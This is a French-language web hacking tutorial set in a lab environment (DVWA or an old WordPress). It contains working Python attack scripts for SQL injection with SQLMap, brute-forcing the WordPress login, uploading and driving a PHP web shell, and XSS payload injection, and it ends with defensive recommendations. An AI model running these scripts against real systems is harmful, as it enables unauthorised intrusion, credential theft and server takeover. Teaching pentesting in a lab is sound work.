đ Hacking Web AvancĂ© avec Python - Tutoriel Complet
Python est un outil puissant pour le hacking web grùce à ses bibliothÚques flexibles et performantes. Ce tutoriel couvre les techniques de hacking web les plus avancées, de l'injection SQL au Brute Force, en passant par l'analyse des vulnérabilités XSS et les Web Shells, avec des exemples détaillés.
Fonctionnalités du Tutoriel :
- Injection SQL : Techniques d'injection SQL avancée avec des scripts Python.
- Brute Force Password Cracking : Automatisation des attaques de force brute.
- Web Shell et contrÎle de serveur : Exploitation des téléchargements de fichiers pour contrÎler un serveur.
- Attaques XSS (Cross-Site Scripting) : Analyse des vulnérabilités XSS avec Python.
Pré-requis
- Connaissance de base de Python et des principes de la cybersécurité.
- Un environnement Linux, idéalement Kali Linux pour le pentesting.
- Installation des bibliothĂšques
requests
,sqlmap
,beautifulsoup4
, etsubprocess
.
1. Préparation de l'Environnement de Test
Pour une simulation réaliste, utilisez VirtualBox pour créer un environnement virtuel :
- Créez trois machines virtuelles : Serveur (application web vulnérable), Client (simulateur d'utilisateur), et Attaquant (pour exécuter les scripts).
- Configurez un serveur LAMP (Linux, Apache, MySQL, PHP) sur le serveur, et installez une application vulnérable (comme une ancienne version de WordPress ou DVWA).
2. Injection SQL avec Python et SQLMap
Les injections SQL sont des attaques qui exploitent les entrĂ©es non sĂ©curisĂ©es pour exĂ©cuter des requĂȘtes SQL malveillantes. Utilisez SQLMap ou des scripts Python personnalisĂ©s pour automatiser ces attaques.
2.1 Utilisation de SQLMap via Python
SQLMap est un outil puissant pour l'automatisation des injections SQL. Voici comment l'intégrer dans un script Python :
import subprocess
# DĂ©finissez l'URL cible
url = "http://server/wordpress/wp-content/plugins/vuln-plugin/config.php?vid=1&pid=1"
command = f"python sqlmap.py -u {url} --level 3 --risk 3 --dbms=mysql --dump"
# Lancez SQLMap via subprocess
subprocess.run(command, shell=True)
Explications : Ce script utilise SQLMap pour cibler l'URL spécifiée, explorant les bases de données et extrayant les informations disponibles.
2.2 Injection SQL personnalisée
Utilisez requests
pour injecter manuellement des paramĂštres SQL malveillants :
import requests
url = "http://server/wordpress/wp-content/plugins/vuln-plugin/config.php"
payload = {"vid": "1 OR 1=1", "pid": "1"}
response = requests.get(url, params=payload)
if "Database Error" in response.text:
print("Vulnérabilité SQL Injection détectée !")
else:
print("Aucune vulnérabilité détectée.")
3. Attaque par Brute Force pour le Cracking de Mots de Passe
Le brute forcing teste différentes combinaisons de mots de passe pour accéder à un compte utilisateur.
3.1 Script Python pour le Brute Force
import requests
url = "http://server/wordpress/wp-login.php"
username = "admin"
wordlist = open("wordlist.txt", "r")
for password in wordlist:
password = password.strip()
data = {"log": username, "pwd": password}
response = requests.post(url, data=data)
if "dashboard" in response.text:
print(f"Mot de passe trouvé : {password}")
break
else:
print(f"Tentative échouée avec le mot de passe : {password}")
Remarque : Utilisez une liste de mots de passe populaire pour maximiser les chances de succĂšs.
4. Attaque de Web Shell et Upload de Fichier Malveillant
Une attaque de Web Shell consiste à télécharger un fichier malveillant sur un serveur pour en prendre le contrÎle.
4.1 Upload de Web Shell avec Python
import requests
url = "http://server/wordpress/wp-content/uploads/upload.php"
files = {'file': open('shell.php', 'rb')}
response = requests.post(url, files=files)
if response.status_code == 200:
print("Web shell téléchargé avec succÚs !")
else:
print("Ăchec du tĂ©lĂ©chargement.")
4.2 Interaction avec le Web Shell
AprÚs avoir téléchargé le shell, interagissez avec lui pour exécuter des commandes :
url = "http://server/wordpress/wp-content/uploads/shell.php"
command = "ls"
response = requests.get(url, params={"cmd": command})
print("Sortie de la commande :")
print(response.text)
5. Attaque XSS (Cross-Site Scripting)
Une attaque XSS injecte du code JavaScript malveillant dans une page web pour manipuler les informations affichées ou interagir avec l'utilisateur.
5.1 Injection de Script XSS
Automatisez l'injection d'un script XSS avec Python :
import requests
url = "http://server/wordpress/comment.php"
payload = "<script>alert('XSS');</script>"
data = {"comment": payload, "submit": "Soumettre"}
response = requests.post(url, data=data)
if payload in response.text:
print("Vulnérabilité XSS détectée !")
else:
print("Aucune vulnérabilité XSS détectée.")
6. Analyse des En-tĂȘtes de SĂ©curitĂ© HTTP
Les en-tĂȘtes de sĂ©curitĂ© HTTP protĂšgent les applications web contre diverses attaques.
6.1 Script pour l'Analyse des En-tĂȘtes de SĂ©curitĂ©
import requests
url = "http://server/wordpress"
response = requests.get(url)
security_headers = ["Content-Security-Policy", "X-Frame-Options", "X-Content-Type-Options"]
for header in security_headers:
if header in response.headers:
print(f"{header} est activé : {response.headers[header]}")
else:
print(f"[ALERTE] {header} est manquant.")
7. Utilisation de BeautifulSoup pour Extraire des Liens
BeautifulSoup facilite l'extraction de liens et l'analyse de contenu HTML pour identifier les points d'entrée vulnérables.
Script pour l'extraction des liens
from bs4 import BeautifulSoup
import requests
url = "http://server/wordpress"
response = requests.get(url)
soup = BeautifulSoup(response.text, "html.parser")
for link in soup.find_all("a", href=True):
print(link["href"])
8. Bonnes Pratiques pour la Sécurité
Pour protéger une application web contre ces attaques, suivez les recommandations suivantes :
- Injection SQL : Utilisez des requĂȘtes paramĂ©trĂ©es et ORM pour sĂ©curiser les bases de donnĂ©es.
- Brute Force : Limitez les tentatives de connexion et implémentez une vérification CAPTCHA.
- XSS : Filtrez et échappez les données utilisateur pour éviter les injections JavaScript.
- Web Shell : Limitez les types de fichiers téléchargeables et inspectez les fichiers pour détecter les scripts malveillants.
- En-tĂȘtes de SĂ©curitĂ© : Mettez en place des en-tĂȘtes HTTP comme Content-Security-Policy et X-Frame-Options pour protĂ©ger contre le clickjacking et les scripts injectĂ©s.